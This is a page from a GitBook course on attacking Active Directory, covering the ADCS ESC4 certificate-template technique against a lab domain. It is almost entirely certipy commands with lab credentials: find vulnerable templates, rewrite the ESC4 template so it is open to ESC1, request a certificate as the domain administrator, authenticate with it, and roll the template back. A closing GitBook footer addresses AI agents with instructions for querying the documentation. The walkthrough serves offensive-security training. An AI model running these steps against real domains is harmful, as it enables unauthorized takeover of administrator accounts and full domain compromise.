> For the complete documentation index, see [llms.txt](https://watchdogsacademy.gitbook.io/attacking-active-directory/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://watchdogsacademy.gitbook.io/attacking-active-directory/active-directory-certificate-services-adcs/adcs-esc4.md).

# ADCS - ESC4

<figure><img src="/files/PjgV22B3AdtFw5coNJF3" alt=""><figcaption></figcaption></figure>

## Vulnerable Certificate Template Access Control — ESC4 <a href="#id-7c4b" id="id-7c4b"></a>

Certificate templates are securable objects in Active Directory, meaning they have a security descriptor that specifies which Active Directory principals have specific permissions over the template.

<figure><img src="/files/5G3Obj3WI38YpiUtlJE4" alt=""><figcaption></figcaption></figure>

Find the Vulnerabilities:

```
sudo certipy find -u joaquin.Pereida@maryland.local -p 'horse' -vulnerable -dc-ip 192.168.56.12 -stdout
```

* Take the ESC4 template and change it to be vulnerable to ESC1 technique by using the genericWrite privilege we got. (we didn’t set the target here as we target the ldap)

```
sudo certipy template -u joaquin.Pereida@maryland.local -p 'horse' -template ESC4 -save-old -debug
```

* Exploit ESC1 on the modified ESC4 template

<pre><code><strong>sudo certipy req -u joaquin.Pereida@maryland.local -p 'horse' -target salisbury.maryland.local -template ESC4 -ca MARYLAND-CA -upn administrator@maryland.local
</strong></code></pre>

* authentication with the pfx

```
sudo certipy auth -pfx administrator.pfx -dc-ip 192.168.56.12
```

* Rollback the template configuration

```
certipy template -u joaquin.Pereida@maryland.local -p 'horse' -template ESC4 -configuration ESC4.json
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://watchdogsacademy.gitbook.io/attacking-active-directory/active-directory-certificate-services-adcs/adcs-esc4.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
